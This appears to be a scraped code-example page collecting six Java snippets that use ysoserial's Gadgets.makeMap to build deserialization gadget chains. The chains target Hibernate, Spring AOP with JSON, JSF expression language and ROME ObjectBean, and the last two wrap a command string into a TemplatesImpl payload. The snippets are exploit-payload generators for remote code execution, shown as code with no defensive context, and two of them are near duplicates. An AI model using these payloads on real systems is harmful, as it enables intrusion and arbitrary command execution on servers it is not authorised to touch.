Java Gadgets.makeMap方法代码示例

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
 

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
            .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
 

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
    FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
    ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
    Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
    ExpressionFactory expressionFactory = ExpressionFactory.newInstance();

    ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
    ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
    ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
    ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);

    return Gadgets.makeMap(e2, e);
}
 

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
    FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
    ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
    Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
    ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
    
    ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
    ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
    ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
    ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);

    return Gadgets.makeMap(e2, e);
}
 

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
public Object getObject ( String command ) throws Exception {
    Object o = Gadgets.createTemplatesImpl(command);
    ObjectBean delegate = new ObjectBean(Templates.class, o);
    ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
    return Gadgets.makeMap(root, root);
}
 

import ysoserial.payloads.util.Gadgets; //导入方法依赖的package包/类
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    Object o = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    ObjectBean delegate = new ObjectBean(Templates.class, o);
    ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
    return Gadgets.makeMap(root, root);
}